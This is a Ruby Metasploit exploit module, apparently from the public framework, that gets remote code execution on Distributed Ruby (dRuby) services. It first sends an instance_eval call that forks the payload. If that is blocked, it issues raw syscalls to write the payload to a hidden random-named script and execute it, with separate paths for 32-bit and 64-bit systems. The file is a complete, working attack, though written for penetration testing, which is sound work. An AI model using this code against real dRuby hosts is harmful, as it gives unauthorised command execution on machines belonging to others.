## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'drb/drb' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking def initialize(info = {}) super(update_info(info, 'Name' => 'Distributed Ruby Send instance_eval/syscall Code Execution', 'Description' => %q{ This module exploits remote code execution vulnerabilities in dRuby }, 'Author' => [ 'joernchen ' ], #(Phenoelit) 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.ruby-doc.org/stdlib-1.9.3/libdoc/drb/rdoc/DRb.html' ], ], 'Privileged' => false, 'Payload' => { 'DisableNops' => true, 'Compat' => { 'PayloadType' => 'cmd', }, 'Space' => 32768, }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Targets' => [[ 'Automatic', { }]], 'DisclosureDate' => 'Mar 23 2011', 'DefaultTarget' => 0)) register_options( [ OptString.new('URI', [true, "The dRuby URI of the target host (druby://host:port)", ""]), ], self.class) end def exploit serveruri = datastore['URI'] DRb.start_service p = DRbObject.new_with_uri(serveruri) class << p undef :send end begin print_status('trying to exploit instance_eval') p.send(:instance_eval,"Kernel.fork { `#{payload.encoded}` }") rescue SecurityError => e print_status('instance eval failed, trying to exploit syscall') filename = "." + Rex::Text.rand_text_alphanumeric(16) begin # syscall to decide wether it's 64 or 32 bit: # it's getpid on 32bit which will succeed, and writev on 64bit # which will fail due to missing args j = p.send(:syscall,20) # syscall open i = p.send(:syscall,8,filename,0700) # syscall write p.send(:syscall,4,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10) # syscall close p.send(:syscall,6,i) # syscall fork p.send(:syscall,2) # syscall execve p.send(:syscall,11,filename,0,0) # not vulnerable rescue SecurityError => e print_status('target is not vulnerable') # likely 64bit system rescue => e # syscall creat i = p.send(:syscall,85,filename,0700) # syscall write p.send(:syscall,1,i,"#!/bin/sh\n" << payload.encoded,payload.encoded.length + 10) # syscall close p.send(:syscall,3,i) # syscall fork p.send(:syscall,57) # syscall execve p.send(:syscall,59,filename,0,0) end end print_status("payload executed from file #{filename}") unless filename.nil? print_status("make sure to remove that file") unless filename.nil? handler(nil) end end